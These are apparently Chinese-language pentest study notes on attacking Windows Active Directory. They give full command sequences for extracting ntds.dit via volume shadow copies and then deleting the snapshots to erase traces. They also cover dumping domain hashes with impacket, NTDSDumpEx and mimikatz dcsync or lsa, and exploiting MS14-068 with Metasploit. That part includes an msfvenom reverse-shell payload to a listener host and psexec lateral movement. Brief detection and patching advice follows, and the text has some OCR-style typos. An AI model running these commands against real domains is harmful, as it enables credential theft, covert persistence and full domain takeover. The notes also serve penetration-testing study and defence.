1.使用卷影拷贝服务提取ntds.dit
方法:
- 通过ntdsutil.exe提取ntds.dit
- 利用 vssadmin提取 ntds.dit
- 利用vssown.vbs脚本提取ntds.dit
- 使用ntdsutil的iFM创建卷影拷贝
- 使用diskshadow导出ntds.dit
通过ntdsutil.exe提取ntds.dit
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的ndts.dit
文件, 但是我们又非常想获得这个文件的内容,这个时候就需要使用windows本地卷影拷贝服务VSS。在活动目录中,所有的数据都保存在ntds.dit文件中,ntds.dit是一个二进制文件,包含用户名、散列值、组、GPP、OU等与活动目录相关的信息,它和SAM文件一样,被windows系统锁死。卷影拷贝服务VSS,本质上属于快照技术的一种,主要用于备份和恢复,即使文件当前处于锁死状态。
ntdsutils.exe
是一个为活动目录提供管理机制的命令行工具,使用ntdsutils.exe
可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:
第一步:创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q
产生的快照GUID为:
{850bc5ab-7620-48fa-bd1f-c23c8150a3f0}
第二步:加载快照
快照位置:C:\$SNAP_202009222211_VOLUMEC$\
ntdsutil.exe snapshot "mount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q
我们要销毁痕迹,所以要删除快照,这里也可以三步来安定自己的内心:
第一步:查看
ntdsutil.exe snapshot "List All" q q
第二步:销毁
ntdsutil.exe snapshot "umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" "delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q
第三步:再查看(确定全部删除成功)
2.导出ntds.dit中的散列值
- 使用impacket工具包导出散列值(Linux)
- 使用NTDS Dumpex 导出散列值(Windows)
但是在开始之前,我们需要做一些准备工作,一个是ntds.dit
活动目录文件,另一个是system.save
文件, 可以通过HiveJack这个小工具轻松获得,github上可以下载。
拿到了system.save文件、ntds.dit活动目录文件,就可以通过Impacket轻松获得ntds.dit活动目录文件中封印的所有散列哈希。
impacket-secretsdump -system system.save -ntds ntds.dit LOCAL
如果在windows下,可以通过 NTDS Dumpex 进行导出散列值的操作,需要的依然是system.save
文件、ntds.dit
活动目录文件。
.\NTDSDumpEx.exe -d .\ntds.dit -s .\system.save
impacket安装:
windows安装,进入文件夹目录输入
python3 -m pip install .
python3 setup.py install
kali中安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install .
python3 setup.py install
3.监控卷影拷贝服务的使用情况
- 通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
- 监控创建dkshndko.exe及相关子进程的事件。
- 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
4.利用dcsync获取域散列值
使用mimikatz转储域散列值
mimikatz有一个dcsync 功能,可以利用卷影拷贝服务直接读取ntds.dit 文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit.
在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimikatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值,如图6-34所示。
lsadump::dcsync /domain:pentest.com /all /csv
也可以直接在域控制器中运行mimikatz,通过转储Isass.exe进程对散列值进行Dump操作
privilege::debug
lsadump::lsa /inject
5.Kerberos域用户提权漏洞分析与防范
微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润(MS14-068 CVE201462424)所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 208 Windows Sever 2008 R2、Windows Server 2012和Win2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意域用户的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos 密明分发中心( KDC)申请TGT由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT就使普通域管理用户权限。该用户可以将TGT发送到KDC, KDC的TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。
msf攻击流程
1.在Metasploit进行测试
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
设置参数
DOMAIN:域名。
PASSWORD:被提权用户的密码。
USER:被提权的用户。
USER_SID:被提权用户的SID。
exploit
填写所有信息后,输入“exploit”命令,会在/rootl.msf4/loot目录下生成文件20180715230259_default_172.16.86.130_windows.kerberos_839172.bin,如图6-59所示。
2.格式转换
msf不支持导入bin文件。使用mimikatz进行格式转化
kerberos::clist ".......bin" /export
3.msfvenom生成一个反向shell
msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe
4.msf设置监听
use exploit/multi/reverse_tcp
exploit
5.
getuid 查看权限
load kiwi
kerberos_ticket_use/tmp/...kirbi #导入票据
background
6.使用高权限票据进行测试
use exploit/windows/local/current_user_psexec
set payload windows/meterpreter/reverse_tcp
set TECHNIQUE PSH
set RHOSTS win2008.hello.com
set lhost 1.1.1.5
set session 1
exploit
防范建议
- 开启Windows Update功能,进行自动更新。
- 手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
- 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
- 在服务器上安装反病毒软件,及时更新病毒库。